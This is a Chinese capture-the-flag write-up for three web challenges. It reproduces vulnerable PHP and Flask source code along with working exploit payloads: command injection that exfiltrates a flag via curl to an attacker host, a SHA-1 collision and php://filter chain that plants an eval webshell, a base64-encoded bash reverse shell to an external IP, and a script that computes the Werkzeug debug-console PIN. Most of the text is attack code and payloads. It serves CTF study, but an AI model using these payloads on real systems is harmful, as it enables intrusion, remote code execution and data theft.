Web
ec_RCE
源码:
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
啥都没过滤,直接拼接就行
payload
1 action=;cat /flag
2 action=;curl vpsip:port/`cat /flag`
0o0
参考链接:
- 谈一谈php://filter的妙用
目录扫描发现.DS_Store泄露,使用ds_store_exp发现存在Ns_SCtF.php
Ns_SCtF.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';
if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
}
。。。。。。。
太简单就不解释了
payload
http://43.142.108.3:28142/Ns_SCtF.php?NSSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&NsSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&NsScTF=1+&NsScTf=data://text/plain,Welcome to Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7
POST:submit=1
然后就是后面的会写文件,且目标文件名为我们上传的文件名
但是前面会拼接<?php die("Round7 do you like");
这里就是利用base64的宽松性
因为base64编码进行解码的话只会识别那个64个字符,所以这里的<?php die("Round7 do you like");
就会被当做phpdieRound7doyoulike
进行解码
因为这里只有21个字符,而base64解码是以4个字节为一组的,所以要在后面加上3个字符来凑成4的倍数
同时fopen()
是支持使用php伪协议的,所以只要我们把payload进行base64编码,然后使用伪协议进行解码,就可以把前面的die去除掉
具体的可以看p佬的谈一谈php://filter的妙用
payload:
aaaPD9waHAgaWYoJF9QT1NUWzFdKXtldmFsKCRfUE9TVFsxXSk7fWVsc2V7cGhwaW5mbygpO30=
aaa#<?php if($_POST[1]){eval($_POST[1]);}else{phpinfo();}
文件名为php://filter/convert.base64-decode/resource=1.png.php
,在windows上可以进行url编码一次,得到
%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%2E%70%6E%67%2E%70%68%70
然后使用apifox进行发包
访问1.png.php,获得shell
flag在/home目录下
ShadowFlag
- 算pin码
- /proc/??/fd
进去获得源码
from flask import Flask, request
import os
from time import sleep
app = Flask(__name__)
flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False
@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()
@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"
@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"
if __name__ == "__main__":
app.run()
先反弹shell,过滤了空格,使用%09替代
payload:
act=echo%09YmFzaCAtaSAmPiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA%2bJjE=|base64%09-d|bash
且访问路由/console
发现开起来debug模式,又因为获得了shell,所以可以去计算pin码
参考文章:Flask debug模式算pin码
找到以下内容
-
/sys/class/net/eth0/address
-
/proc/sys/kernel/random/boot_id
-
/proc/self/cgroup
然后放进脚本,获得pin码
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485376942619',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'e2a9f272-7959-44cc-86ce-6cfd758857a7213e47bb4c8bf369452b861c1ab342a62729010067ad0ad1ad8a92bc453a6c94'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
然后在报错的app.py那一段点击右边的console,输入pin码
因为flag2没有被del,所以可以获取
然后在app.py中,/tmp/flag1.txt
被打开后,并没有使用close(),所以虽然被删除了,但还是存在文件描述符,所以可以去找文件描述符来得到flag1
ll /proc/??/fd
cat /proc/17/fd/3
得到flag1,拼接起来变成完整的flag